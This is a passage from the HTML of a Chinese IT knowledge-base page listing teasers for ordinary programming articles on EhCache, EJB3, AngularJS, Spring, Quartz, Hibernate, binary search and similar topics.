 DBMS_OUTPUT.put_line(systimestamp);
E</div>
                                </li>
                                <li><a href="/article/1611.htm"
                                       title="【EhCache一】EhCache版Hello World" target="_blank">【EhCache一】EhCache版Hello World</a>
                                    <span class="text-muted">bit1129</span>
<a class="tag" taget="_blank" href="/search/Hello+world/1.htm">Hello world</a>
                                    <div>本篇是EhCache系列的第一篇,总体介绍使用EhCache缓存进行CRUD的API的基本使用,更细节的内容包括EhCache源代码和设计、实现原理在接下来的文章中进行介绍 
&nbsp; 环境准备 
1.新建Maven项目 
&nbsp; 
2.添加EhCache的Maven依赖 
        &lt;dependency&gt;
            &lt;groupId&gt;ne</div>
                                </li>
                                <li><a href="/article/1738.htm"
                                       title="学习EJB3基础知识笔记" target="_blank">学习EJB3基础知识笔记</a>
                                    <span class="text-muted">白糖_</span>
<a class="tag" taget="_blank" href="/search/bean/1.htm">bean</a><a class="tag" taget="_blank" href="/search/Hibernate/1.htm">Hibernate</a><a class="tag" taget="_blank" href="/search/jboss/1.htm">jboss</a><a class="tag" taget="_blank" href="/search/webservice/1.htm">webservice</a><a class="tag" taget="_blank" href="/search/ejb/1.htm">ejb</a>
                                    <div>最近项目进入系统测试阶段,全赖袁大虾领导有力,保持一周零bug记录,这也让自己腾出不少时间补充知识。花了两天时间把“传智播客EJB3.0”看完了,EJB基本的知识也有些了解,在这记录下EJB的部分知识,以供自己以后复习使用。 
&nbsp; 
EJB是sun的服务器端组件模型,最大的用处是部署分布式应用程序。EJB (Enterprise JavaBean)是J2EE的一部分,定义了一个用于开发基</div>
                                </li>
                                <li><a href="/article/1865.htm"
                                       title="angular.bootstrap" target="_blank">angular.bootstrap</a>
                                    <span class="text-muted">boyitech</span>
<a class="tag" taget="_blank" href="/search/AngularJS/1.htm">AngularJS</a><a class="tag" taget="_blank" href="/search/AngularJS+API/1.htm">AngularJS API</a><a class="tag" taget="_blank" href="/search/angular%E4%B8%AD%E6%96%87api/1.htm">angular中文api</a>
                                    <div>angular.bootstrap 
描述:  
&nbsp; &nbsp; 手动初始化angular。 
&nbsp;&nbsp;&nbsp; 这个函数会自动检测创建的module有没有被加载多次,如果有则会在浏览器的控制台打出警告日志,并且不会再次加载。这样可以避免在程序运行过程中许多奇怪的问题发生。 
&nbsp;   使用方法:   &nbsp;&nbsp;&nbsp; angular .</div>
                                </li>
                                <li><a href="/article/1992.htm"
                                       title="java-谷歌面试题-给定一个固定长度的数组,将递增整数序列写入这个数组。当写到数组尾部时,返回数组开始重新写,并覆盖先前写过的数" target="_blank">java-谷歌面试题-给定一个固定长度的数组,将递增整数序列写入这个数组。当写到数组尾部时,返回数组开始重新写,并覆盖先前写过的数</a>
                                    <span class="text-muted">bylijinnan</span>
<a class="tag" taget="_blank" href="/search/java/1.htm">java</a>
                                    <div>

public class SearchInShiftedArray {

	/**
	 * 题目:给定一个固定长度的数组,将递增整数序列写入这个数组。当写到数组尾部时,返回数组开始重新写,并覆盖先前写过的数。
	 * 请在这个特殊数组中找出给定的整数。
	 * 解答:
	 * 其实就是“旋转数组”。旋转数组的最小元素见http://bylijinnan.iteye.com/bl</div>
                                </li>
                                <li><a href="/article/2119.htm"
                                       title="天使还是魔鬼?都是我们制造" target="_blank">天使还是魔鬼?都是我们制造</a>
                                    <span class="text-muted">ducklsl</span>
<a class="tag" taget="_blank" href="/search/%E7%94%9F%E6%B4%BB/1.htm">生活</a><a class="tag" taget="_blank" href="/search/%E6%95%99%E8%82%B2/1.htm">教育</a><a class="tag" taget="_blank" href="/search/%E6%83%85%E6%84%9F/1.htm">情感</a>
                                    <div>----------------------------剧透请原谅,有兴趣的朋友可以自己看看电影,互相讨论哦!!! 
&nbsp;&nbsp;&nbsp; 从厦门回来的动车上,无意中瞟到了书中推荐的几部关于儿童的电影。当然,这几部电影可能会另大家失望,并不是类似小鬼当家的电影,而是关于“坏小孩”的电影! 
&nbsp;&nbsp;&nbsp; 自己挑了两部先看了看,但是发现看完之后,心里久久不能平</div>
                                </li>
                                <li><a href="/article/2246.htm"
                                       title="[机器智能与生物]研究生物智能的问题" target="_blank">[机器智能与生物]研究生物智能的问题</a>
                                    <span class="text-muted">comsci</span>
<a class="tag" taget="_blank" href="/search/%E7%94%9F%E7%89%A9/1.htm">生物</a>
                                    <div> 
 
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 我想,人的神经网络和苍蝇的神经网络,并没有本质的区别...就是大规模拓扑系统和中小规模拓扑分析的区别.... 
 
 
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 但是,如果去研究活体人类的神经网络和脑系统,可能会受到一些法律和道德方面的限制,而且研究结果也不一定可靠,那么希望从事生物神经网络研究的朋友,不如把</div>
                                </li>
                                <li><a href="/article/2373.htm"
                                       title="获取Android Device的信息" target="_blank">获取Android Device的信息</a>
                                    <span class="text-muted">dai_lm</span>
<a class="tag" taget="_blank" href="/search/android/1.htm">android</a>
                                    <div>
String phoneInfo = &quot;PRODUCT: &quot; + android.os.Build.PRODUCT;
phoneInfo += &quot;, CPU_ABI: &quot; + android.os.Build.CPU_ABI;
phoneInfo += &quot;, TAGS: &quot; + android.os.Build.TAGS;
ph</div>
                                </li>
                                <li><a href="/article/2500.htm"
                                       title="最佳字符串匹配算法(Damerau-Levenshtein距离算法)的Java实现" target="_blank">最佳字符串匹配算法(Damerau-Levenshtein距离算法)的Java实现</a>
                                    <span class="text-muted">datamachine</span>
<a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/%E7%AE%97%E6%B3%95/1.htm">算法</a><a class="tag" taget="_blank" href="/search/%E5%AD%97%E7%AC%A6%E4%B8%B2%E5%8C%B9%E9%85%8D/1.htm">字符串匹配</a>
                                    <div>原文:http://www.javacodegeeks.com/2013/11/java-implementation-of-optimal-string-alignment.html------------------------------------------------------------------------------------------------------------</div>
                                </li>
                                <li><a href="/article/2627.htm"
                                       title="小学5年级英语单词背诵第一课" target="_blank">小学5年级英语单词背诵第一课</a>
                                    <span class="text-muted">dcj3sjt126com</span>
<a class="tag" taget="_blank" href="/search/english/1.htm">english</a><a class="tag" taget="_blank" href="/search/word/1.htm">word</a>
                                    <div>long 长的 
show 给...看,出示 
mouth 口,嘴 
write 写 
&nbsp; 
use 用,使用 
take 拿,带来 
hand 手 
clever 聪明的 
&nbsp; 
often 经常 
wash 洗 
slow 慢的 
house 房子 
&nbsp; 
water 水 
clean 清洁的 
supper 晚餐 
out 在外 
&nbsp; 
face 脸,</div>
                                </li>
                                <li><a href="/article/2754.htm"
                                       title="macvim的使用实战" target="_blank">macvim的使用实战</a>
                                    <span class="text-muted">dcj3sjt126com</span>
<a class="tag" taget="_blank" href="/search/mac/1.htm">mac</a><a class="tag" taget="_blank" href="/search/vim/1.htm">vim</a>
                                    <div>macvim用的是mac里面的vim, 只不过是一个GUI的APP, 相当于一个壳 
&nbsp; 
1. 下载macvim 
https://code.google.com/p/macvim/ 
&nbsp; 
2. 了解macvim 
:h &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; vim的使用帮助信息 
:h macvim &nbsp;</div>
                                </li>
                                <li><a href="/article/2881.htm"
                                       title="java二分法查找" target="_blank">java二分法查找</a>
                                    <span class="text-muted">蕃薯耀</span>
<a class="tag" taget="_blank" href="/search/java%E4%BA%8C%E5%88%86%E6%B3%95%E6%9F%A5%E6%89%BE/1.htm">java二分法查找</a><a class="tag" taget="_blank" href="/search/%E4%BA%8C%E5%88%86%E6%B3%95/1.htm">二分法</a><a class="tag" taget="_blank" href="/search/java%E4%BA%8C%E5%88%86%E6%B3%95/1.htm">java二分法</a>
                                    <div>java二分法查找 
&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt; 
蕃薯耀 2015年6月23日 11:40:03 星期二 
http:/</div>
                                </li>
                                <li><a href="/article/3008.htm"
                                       title="Spring Cache注解+Memcached" target="_blank">Spring Cache注解+Memcached</a>
                                    <span class="text-muted">hanqunfeng</span>
<a class="tag" taget="_blank" href="/search/spring/1.htm">spring</a><a class="tag" taget="_blank" href="/search/memcached/1.htm">memcached</a>
                                    <div>Spring3.1 Cache注解&nbsp; 
依赖jar包: 
&lt;!-- simple-spring-memcached --&gt;
		&lt;dependency&gt;
			&lt;groupId&gt;com.google.code.simple-spring-memcached&lt;/groupId&gt;
			&lt;artifactId&gt;simple-s</div>
                                </li>
                                <li><a href="/article/3135.htm"
                                       title="apache commons io包快速入门" target="_blank">apache commons io包快速入门</a>
                                    <span class="text-muted">jackyrong</span>
<a class="tag" taget="_blank" href="/search/apache+commons/1.htm">apache commons</a>
                                    <div>原文参考 
http://www.javacodegeeks.com/2014/10/apache-commons-io-tutorial.html 
 
&nbsp; Apache Commons IO 包绝对是好东西,地址在http://commons.apache.org/proper/commons-io/,下面用例子分别介绍: 
&nbsp; 1)&nbsp; 工具类 
&nbsp; 2</div>
                                </li>
                                <li><a href="/article/3262.htm"
                                       title="如何学习编程" target="_blank">如何学习编程</a>
                                    <span class="text-muted">lampcy</span>
<a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/%E7%BC%96%E7%A8%8B/1.htm">编程</a><a class="tag" taget="_blank" href="/search/C%2B%2B/1.htm">C++</a><a class="tag" taget="_blank" href="/search/c/1.htm">c</a>
                                    <div>首先,我想说一下学习思想.学编程其实跟网络游戏有着类似的效果.开始的时候,你会对那些代码,函数等产生很大的兴趣,尤其是刚接触编程的人,刚学习第一种语言的人.可是,当你一步步深入的时候,你会发现你没有了以前那种斗志.就好象你在玩韩国泡菜网游似的,玩到一定程度,每天就是练级练级,完全是一个想冲到高级别的意志力在支持着你.而学编程就更难了,学了两个月后,总是觉得你好象全都学会了,却又什么都做不了,又没有</div>
                                </li>
                                <li><a href="/article/3389.htm"
                                       title="架构师之spring-----spring3.0新特性的bean加载控制@DependsOn和@Lazy" target="_blank">架构师之spring-----spring3.0新特性的bean加载控制@DependsOn和@Lazy</a>
                                    <span class="text-muted">nannan408</span>
<a class="tag" taget="_blank" href="/search/Spring3/1.htm">Spring3</a>
                                    <div>1.前言。 
&nbsp;&nbsp; 如题。 
2.描述。 
&nbsp;&nbsp; 


@DependsOn用于强制初始化其他Bean。可以修饰Bean类或方法,使用该Annotation时可以指定一个字符串数组作为参数,每个数组元素对应于一个强制初始化的Bean。

@DependsOn({&quot;steelAxe&quot;,&quot;abc&quot;})
@Comp</div>
                                </li>
                                <li><a href="/article/3516.htm"
                                       title="Spring4+quartz2的配置和代码方式调度" target="_blank">Spring4+quartz2的配置和代码方式调度</a>
                                    <span class="text-muted">Everyday都不同</span>
<a class="tag" taget="_blank" href="/search/%E4%BB%A3%E7%A0%81/1.htm">代码</a><a class="tag" taget="_blank" href="/search/%E9%85%8D%E7%BD%AE/1.htm">配置</a><a class="tag" taget="_blank" href="/search/spring4/1.htm">spring4</a><a class="tag" taget="_blank" href="/search/quartz2.x/1.htm">quartz2.x</a><a class="tag" taget="_blank" href="/search/%E5%AE%9A%E6%97%B6%E4%BB%BB%E5%8A%A1/1.htm">定时任务</a>
                                    <div>前言:这些天简直被quartz虐哭。。因为quartz 2.x版本相比quartz1.x版本的API改动太多,所以,只好自己去查阅底层API…… 
&nbsp; 
quartz定时任务必须搞清楚几个概念: 
JobDetail——处理类 
Trigger——触发器,指定触发时间,必须要有JobDetail属性,即触发对象 
Scheduler——调度器,组织处理类和触发器,配置方式一般只需指定触发</div>
                                </li>
                                <li><a href="/article/3643.htm"
                                       title="Hibernate入门" target="_blank">Hibernate入门</a>
                                    <span class="text-muted">tntxia</span>
<a class="tag" taget="_blank" href="/search/Hibernate/1.htm">Hibernate</a>
                                    <div>&nbsp; 
前言 
&nbsp; 
使用面向对象的语言和关系型的数据库,开发起来很繁琐,费时。由于现在流行的数据库都不面向对象。Hibernate 是一个Java的ORM(Object/Relational Mapping)解决方案。 
&nbsp; 
Hibernte不仅关心把Java对象对应到数据库的表中,而且提供了请求和检索的方法。简化了手工进行JDBC操作的流程。 
&nbsp; 
如</div>
                                </li>
                                <li><a href="/article/3770.htm"
                                       title="Math类" target="_blank">Math类</a>
                                    <span class="text-muted">xiaoxing598</span>
<a class="tag" taget="_blank" href="/search/Math/1.htm">Math</a>
                                    <div>一、Java中的数字(Math)类是final类,不可继承。 
1、常数    PI:double圆周率 E:double自然对数    
2、截取(注意方法的返回类型)    double ceil(double d) 返回不小于d的最小整数 double floor(double d) 返回不大于d的整最大数   int round(float f) 返回四舍五入后的整数 long round</div>
                                </li>
                </ul>
            </div>
        </div>
    </div>

<div>
    <div class="container">
        <div class="indexes">
            <strong>按字母分类:</strong>
            <a href="/tags/A/1.htm" target="_blank">A</a><a href="/tags/B/1.htm" target="_blank">B</a><a href="/tags/C/1.htm" target="_blank">C</a><a
                href="/tags/D/1.htm" target="_blank">D</a><a href="/tags/E/1.htm" target="_blank">E</a><a href="/tags/F/1.htm" target="_blank">F</a><a
                href="/tags/G/1.htm" target="_blank">G</a><a href="/tags/H/1.htm" target="_blank">H</a><a href="/tags/I/1.htm" target="_blank">I</a><a
                href="/tags/J/1.htm" target="_blank">J</a><a href="/tags/K/1.htm" target="_blank">K</a><a href="/tags/L/1.htm" target="_blank">L</a><a
                href="/tags/M/1.htm" target="_blank">M</a><a href="/tags/N/1.htm" target="_blank">N</a><a href="/tags/O/1.htm" target="_blank">O</a><a
                href="/tags/P/1.htm" target="_blank">P</a><a href="/tags/Q/1.htm" target="_blank">Q</a><a href="/tags/R/1.htm" target="_blank">R</a><a
                href="/tags/S/1.htm" target="_blank">S</a><a href="/tags/T/1.htm" target="_blank">T</a><a href="/tags/U/1.htm" target="_blank">U</a><a
                href="/tags/V/1.htm" target="_blank">V</a><a href="/tags/W/1.htm" target="_blank">W</a><a href="/tags/X/1.htm" target="_blank">X</a><a
                href="/tags/Y/1.htm" target="_blank">Y</a><a href="/tags/Z/1.htm" target="_blank">Z</a><a href="/tags/0/1.htm" target="_blank">其他</a>
        </div>
    </div>
</div>
<footer id="footer" class="mb30 mt30">
    <div class="container">
        <div class="footBglm">
            <a target="_blank" href="/">首页</a> -
            <a target="_blank" href="/custom/about.htm">关于我们</a> -
            <a target="_blank" href="/search/Java/1.htm">站内搜索</a> -
            <a target="_blank" href="/sitemap.txt">Sitemap</a> -
            <a target="_blank" href="/custom/delete.htm">侵权投诉</a>
        </div>
        <div class="copyright">版权所有 IT知识库 CopyRight © 2000-2050 E-COM-NET.COM , All Rights Reserved.
<!--            <a href="https://beian.miit.gov.cn/" rel="nofollow" target="_blank">京ICP备09083238号</a><br>-->
        </div>
    </div>
</footer>
<!-- 代码高亮 -->
<script type="text/javascript" src="/static/syntaxhighlighter/scripts/shCore.js"></script>
<script type="text/javascript" src="/static/syntaxhighlighter/scripts/shLegacy.js"></script>
<script type="text/javascript" src="/static/syntaxhighlighter/scripts/shAutoloader.js"></script>
<link type="text/css" rel="stylesheet" href="/static/syntaxhighlighter/styles/shCoreDefault.css"/>
<script type="text/javascript" src="/static/syntaxhighlighter/src/my_start_1.js"></script>





</body>

</html>